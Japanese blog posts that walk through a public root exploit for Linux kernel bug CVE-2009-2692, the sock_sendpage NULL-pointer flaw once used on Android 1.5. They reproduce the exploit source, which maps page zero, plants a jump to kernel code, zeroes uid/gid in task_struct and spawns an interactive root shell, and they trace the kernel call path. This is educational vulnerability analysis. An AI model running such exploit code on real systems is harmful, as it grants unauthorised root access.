2011/06/26

Androidでrootを取れるcve-2009-2692を見る(後半)

前回はアドレス0x00000000がどうやって実行されるのかを書いた。後半は何が実行されるのかを調べる。

もう一度exploitを見てみる。

int main(void) {
    char template[] = "/tmp/padlina.XXXXXX";
    int fdin, fdout;
    void *page;

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid); // 現在のプロセスのtask_structにuid,uid,uidの並びをセット。
    setresgid(gid, gid, gid); //

    if ((personality(0xffffffff)) != PER_SVR4) {
        if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
            perror("mmap");
            return -1;
        }
    } else {
        if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
            perror("mprotect");
            return -1;
        }
    }

    *(char *)0 = '\x90'; // nop
    *(char *)1 = '\xe9'; // jmp
    *(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。

    if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
        perror("mkstemp");
        return -1;
    }

    if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        return -1;
    }

    unlink(template); //作ったファイルネームを削除。
    ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
    sendfile(fdout, fdin, NULL, PAGE_SIZE);
}

task_structの領域にsetresuidでuid,uid,uidの並びをセットする。
その後run.cでセットしてたpersonalityをチェックし、
mmap & mprotectで0x00000000から0x1000バイトに0を書きこみREAD,WRITE,EXEC属性をつける。

もちろんrun.cでpersonalityをPER_SVR4にしておかないとこんな事はできない。

ここまできたら0x00000000に実行用のコードを埋めこんでここを実行させる(sock_sendpageさせる)のみ。
0x00000000にはnop(0x90)を、
0x00000001にはjmp (kernel code - 6のアドレス)と書きこむ。kernel codeのアドレスを0x12345678とすると

90 e9 12 34 56 72

となる。e9はrelative jumpなことに注意。つまり0x06からの距離。
ここでkernel_code関数に飛ぶ。

void kernel_code()
{
    int i;
    uint *p = get_current();

    for (i = 0; i < 1024-13; i++) { // task_structの中をいじる。setresuidされて入ったuidとかgidとかをみつける--> そこを0に(root)
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
             p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }

    exit_kernel();
}

kernel_code関数はまずget_currentを呼びtask_structのアドレスを得る。
get_current関数を見てみると、

static inline __attribute__((always_inline)) void *get_current()
{
    unsigned long curr;

    __asm__ __volatile__ (
        "movl %%esp, %%eax ;"  // espの値をeaxにセット
        "andl %1, %%eax ;"     // eaxの13ビットをクリア
        "movl (%%eax), %0"     // (%eax)をr(どのレジスタでもよいという事)にセット -> つまりcurrになる。
        : "=r" (curr)
        : "i" (~8191)          // 8101 = 0x1fff
    );
    return (void *) curr;      // 現在のespを0xffffe000でマスクした物を返す。
}

プロセスはkernel中にthread_info構造体とカーネルスタックを持つ。これらは2つのページに連続してある。
thread_info構造体の第一要素はtask_struct(以下を参照)、1pageの大きさは0x1000 (4096)。
thread_infoは前半のほうなので(偶数番目) 0x2000にある。

/** arch/x86/include/asm/thread_info.h **/
struct thread_info {
    struct task_struct    *task;        /* main task structure */
    /* 略 */
};

つまりget_current関数でtask_structのcurrentを得るということ。


currentを得た後は、for (i = 0; i < 1024-13; i++) のループを始めるわけだが、このコードのしたい事は、
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
この部分でメモリ上でuid,uid,uid,uid,gid,gid,gid,gidと並んでいるところを捜して、そこを0にするという物。uid=0はrootを意味するから。
でも、task_structみてもそんな並びの部分ねえよ。。task_struct->real_cred内に権限情報があるからこんな方法でアクセスできないし。

と思ってlinux-2.6.22.3を見てみたらバッチリあった。

/** include/linux/sched.h (linux-2.6.22.3) **/
struct task_struct {
       /* 略 */
/* process credentials */
    uid_t uid,euid,suid,fsuid;
    gid_t gid,egid,sgid,fsgid;

}

直書き…
とにかくここが0,0,0,0,0,0,0,0になる。
つまり昔のコードではちゃんと狙い通り動くと。cve-2009-2692の脆弱性は2.6.30.4まで存在するが、このexploitは2.6.30.4では動かない。まあ実際試したわけじゃないが。
まあexploitの動作を理解するためだしいいか。
ちなみにこのuid,uid,uidっていう並びを捜すのは昔のexploitでは定番の手法だったらしい。なるほど…


あとはexploitの最後、exit_kernel関数。

#define USER_CS    0x73
#define USER_SS    0x7b
#define USER_FL    0x246
#define STACK(x) (x + sizeof(x) - 40)

static inline __attribute__((always_inline)) void exit_kernel()
{
    __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        :  // 出力レジスタはない。
        : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
}

これは適当な数字をスタックに積んで(その領域を使わせるようにして) iretする。
intする前のEIPはexit_codeのアドレスという事にしておく。するとシステムコールから帰った後はexit_codeのアドレスから実行を再開。することになる。
これでカーネルモードは終わり。ユーザモードに帰った後は、今きちんとrootかどうかを確認して、

void exit_code()
{
    if (getuid() != 0) {
        fprintf(stderr, "failed\n");
        exit(-1);
    }

    execl("/bin/sh", "sh", "-i", NULL); // -i はインタラクティブ
}

rootなら
"/bin/sh -i"を実行!!

これでroot shellゲット。exploit成功というわけだ。

2011/06/13

Androidでrootを取れるcve-2009-2692を見る(前半)

linux kernel 2.6.30.5以降はこの方法でrootを取ることはできなくなっているが、
HT-03AでAndroid 1.5からrootを取るのはこのBugを利用したExploitであったとのこと。
今さらだが気になったのでどんなBugだったのか調べてみた。

まず、今回のexploitのもととなるsock_sendpage()関数。ここの
sock->ops->sendpageがNULLになっている、というのが今回のバグのもと。
通常ならif(!sock->ops->sendpage)とかでチェックしてエラーするべき、という所か。

見てみるカーネルだが、カーネルは2.6.30.4を見た。2.6.30.5からこのBugに対する対策が取られている。

まず、問題となっているsock_sendpageを見てみる。
/** net/socket.c **/
static ssize_t sock_sendpage(struct file *file, struct page *page,
    int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;

sock = file->private_data;

flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;

return sock->ops->sendpage(sock, page, offset, size, flags);
}

今回はこのsendpageがNULLを参照している、という事を利用しNULLに実効させるコードを置いておく、という手法らしい。
ある種のsocketに対しsendpageさせる、というのが今回のrootへの道か。

さっそくcve 2009 2692 exploitとググって出てきたexploit
http://www.frasunek.com/proto_ops.tgz
を見てみることにした。

通常はこんなことはできないようになっているが。。exploitを見てみる。

ファイルは3つ。run.cとexploit.cがあり、run.shでrun.cを実効している。

run.cはこれだけ。
/** exploit/runc. **/
int main(void) {
if (personality(PER_SVR4) < 0) {
perror("personality");
return -1;
}

fprintf(stderr, "padlina z lublina!\n");

execl("./exploit", "exploit", 0);
}

personalityって何?という事でmanを見てみると、
Linux は、プロセス毎の異なる実行ドメイン、すなわち パーソナリティ (personality) をサポートしている。
実行ドメインは Linux にシグナル番号にどのシグナルを割り付けるかを 教えたりする。
また、実行ドメイン・システムにより、 Linux は他の Unix 風のオペレーティング・システムでコンパイルされた バイナリに対する限定的なサポートを提供している。

らしい。
つまりrun.cはexploitのパーソナリティをSVR4にすることが目的。
で、肝心のexploit.c。
まずはmainから。
int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
   if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
perror("mprotect");
return -1;
}
}

*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。

if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
perror("mkstemp");
return -1;
}

if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}

unlink(template); //作ったファイルネームを削除。
ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
sendfile(fdout, fdin, NULL, PAGE_SIZE);
}

空のファイルからPPPOEのソケットにsendfile。これが巡りに巡ってsock_sendpageを呼ぶのだろう。
その過程を見てみる。


まず、ユーザ空間でsendfile()すると、sys_sendfileが呼ばれ、そこからdo_sendfileが呼ばれる。
/** fs/read_write.c **/
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
  size_t count, loff_t max)
{
/* 略 */
retval = do_splice_direct(in_file, ppos, out_file, count, fl);
/* 略 */
}

do_sendfileは、do_splice_directを呼ぶ。ここでファイルの内容の転送がおこる。
今回の場合はin_fileは場合mkstempしたファイル、out_fileがソケット(PF_PPPOX)となっている。

以前のカーネル(ほかに手持ちだったlinux-2.6.22.3)ではdo_splice_directでなく
do_sendfileはin_file->f_op->sendfile()を呼んでいた。
この関数は通常generic_file_sendfileを指していて、
そこから呼ばれていく関数内で、do_generic_file_read() -> do_generic_mapping_readと来て、

do_generic_mapping_readの中でret = actor(desc, page, offset, nr);
actorはfile_send_actorで、file_send_actorはdesc->arg.data->f_op->sendpageを呼ぶ。

desc->arg.data = out_fileであり、
out_file->f_op->sendpage()これは、sock_attach_fd内で
file->f_op = &socket_file_ops;となっており、
socket_file_opsのsendpageはsock_sendpageである。

という流れだった。

linux-2.6.30.4ではdo_splice_directを見ると、
/** fs/splice.c **/
long do_splice_direct(struct file *in, loff_t *ppos, struct file *out,
     size_t len, unsigned int flags)
{
struct splice_desc sd = {
.len = len,
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out, /* out はここ。これがsocket。*/
};
long ret;

ret = splice_direct_to_actor(in, &sd, direct_splice_actor); /* (1) */
/* 略 */
return ret;
}

splice_direct_to_actorはpipeをゲットして、
ret = do_splice_to(in, &pos, pipe, len, flags);
で書きこみ、
ret = actor(pipe, sd);
とする。
actorは(1)で渡したdirect_splice_actorのことで、

/** fs/splice.c **/
static int direct_splice_actor(struct pipe_inode_info *pipe,
      struct splice_desc *sd)
{
struct file *file = sd->u.file;

return do_splice_from(pipe, file, &sd->pos, sd->total_len, sd->flags);
}

とpipeからoutに書く。で、do_splice_fromは、

/** fs/splice.c **/
static long do_splice_from(struct pipe_inode_info *pipe, struct file *out,
  loff_t *ppos, size_t len, unsigned int flags)
{
/* 略 */
return out->f_op->splice_write(pipe, out, ppos, len, flags);
}

とout->f_op->splice_writeを呼ぶ。
これは、sock_attach_fd内でfile->f_op = &socket_file_ops;とされており、
.splice_write = generic_splice_sendpage;である。(net/socket.c)
つまりここでgeneric_splice_sendpageが呼ばれる。
generic_splice_sendpageは、

/** fs/splice.c **/
ssize_t generic_splice_sendpage(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags)
{
return splice_from_pipe(pipe, out, ppos, len, flags, pipe_to_sendpage); /*(2)*/
}

とsplice_from_pipeをpipe_to_sendpageを渡してコール。
splice_from_pipeはdo_splice_directと良く似ていて、

/** fs/splice.c **/
ssize_t splice_from_pipe(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags,
splice_actor *actor)
{
ssize_t ret;
struct splice_desc sd = {
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out,
};

pipe_lock(pipe);
ret = __splice_from_pipe(pipe, &sd, actor);
pipe_unlock(pipe);

return ret;
}

この__splice_from_pipeがactorを使ってpipeからsdにどんどん書きこんでいく処理をする関数。
/** fs/splice.c **/
ssize_t __splice_from_pipe(struct pipe_inode_info *pipe, struct splice_desc *sd,
  splice_actor *actor)
{
int ret;

splice_from_pipe_begin(sd);
do {
ret = splice_from_pipe_next(pipe, sd);
if (ret > 0)
ret = splice_from_pipe_feed(pipe, sd, actor);
} while (ret > 0);
splice_from_pipe_end(pipe, sd);

return sd->num_spliced ? sd->num_spliced : ret;
}

このsplice_from_pipe_feed内で、

ret = actor(pipe, buf, sd);
とactor(現在は(2)のpipe_to_sendpage)を呼びだす。

このpipe_to_sendpageを見ると

/** fs/splice.c **/
static int pipe_to_sendpage(struct pipe_inode_info *pipe,
   struct pipe_buffer *buf, struct splice_desc *sd)
{
struct file *file = sd->u.file; /*これは書きだす先のout、つまりsocket*/
loff_t pos = sd->pos;
int ret, more;

ret = buf->ops->confirm(pipe, buf);
if (!ret) {
more = (sd->flags & SPLICE_F_MORE) || sd->len < sd->total_len;

ret = file->f_op->sendpage(file, buf->page, buf->offset,  /* これがsock_sendpage */
  sd->len, &pos, more);
}

return ret;
}

このfileがsocketなのでfile->f_op->sendpageは
sock_attach_fd()内でfile->f_op = &socket_file_ops;とされており、
.sendpage = sock_sendpage;である。(net/socket.c)
つまりここでsock_sendpageが呼ばれる。
という流れになっている。長かった・・・。

sock_sendpageが呼ばれる流れは以上の通りだが、sock_sendpageの中で呼ばれる
sock->ops->sendpageはどのようにNULLになっているのだろうか。


まず、socket呼びだしを見てみる。
socketを呼ぶと、次のような流れで呼ばれる。
sys_socket -> sock_create -> __sock_create

/* asmlinkage long sys_socket(int family, int type, int protocol)になる*/
SYSCALL_DEFINE3(socket, int, family, int, type, int, protocol)
{
int retval;
struct socket *sock;
/* 略 */
retval = sock_create(family, type, protocol, &sock); /* sock_createはすぐに__sock_createを呼ぶ */
/* 略 */
retval = sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
/* sock_map_fd()からsock_attach_fd()が呼ばれ、file->private_data = sockとされる。 retvalはそのfileのfd。*/
/* 略 */
return retval; /* fdが返る */
}

/** net/socket.c **/
static int __sock_create(int family, int type, int protocol,
struct socket **res, int kern)
{
/* 略 */
pf = rcu_dereference(net_families[family]);
/* 略 */
err = pf->create(sock, protocol);
/* 略 */
*res = sock /*ここでsockが返る*/
}

ここでnet_families[family]のcreateが呼ばれている。ここで今回のPPPOXのcreateを見ると、
/** drivers/net/pppox.c **/
static int pppox_create(struct socket *sock, int protocol)
{
int rc = -EPROTOTYPE;
/* 略 */
if (!pppox_protos[protocol] ||
   !try_module_get(pppox_protos[protocol]->owner))
goto out;

rc = pppox_protos[protocol]->create(sock); /* 今回socketの引数のprotocol = 0 */

module_put(pppox_protos[protocol]->owner);
out:
return rc;
}

このpppox_protos[protocol]っていうのはプロトコルファミリの中の実際のプロトコル。今回はpppoe。
以下のファイルでregisterしてる。
/** drivers/net/pppoe.c **/
static int __init pppoe_init(void)
{
int err;

err = proto_register(&pppoe_sk_proto, 0);
/* 略 */

  err = register_pppox_proto(PX_PROTO_OE, &pppoe_proto); /* if_pppox.hに #define PX_PROTO_OE = 0 */
      /* ここでpppox_protos[0]に&pppoe_protoをregisterされてる。 */
/* 略 */
}

static int pppoe_create(struct socket *sock)
{
struct sock *sk;

sk = sk_alloc(net, PF_PPPOX, GFP_KERNEL, &pppoe_sk_proto);
if (!sk)
return -ENOMEM;

sock_init_data(sock, sk);

sock->state = SS_UNCONNECTED;
sock->ops   = &pppoe_ops; /* sock->opsにpppoe_opsがセット */
/* 略 */
}

そのpppoe_opsとは
/** /drivers/net/pppoe.c **/
static const struct proto_ops pppoe_ops = {
    .family = AF_PPPOX,
    .owner = THIS_MODULE,
    .release = pppoe_release,
    .bind = sock_no_bind,
    .connect = pppoe_connect,
    .socketpair = sock_no_socketpair,
    .accept = sock_no_accept,
    .getname = pppoe_getname,
    .poll = datagram_poll,
    .listen = sock_no_listen,
    .shutdown = sock_no_shutdown,
    .setsockopt = sock_no_setsockopt,
    .getsockopt = sock_no_getsockopt,
    .sendmsg = pppoe_sendmsg,
    .recvmsg = pppoe_recvmsg,
    .mmap = sock_no_mmap,
    .ioctl = pppox_ioctl,                        /* .sendpageがない! */
};

sock->ops->sendpageは、設定されてないので、NULLであった。
こうして冒頭のsock_sendpage内でNULLを呼ばれるわけである。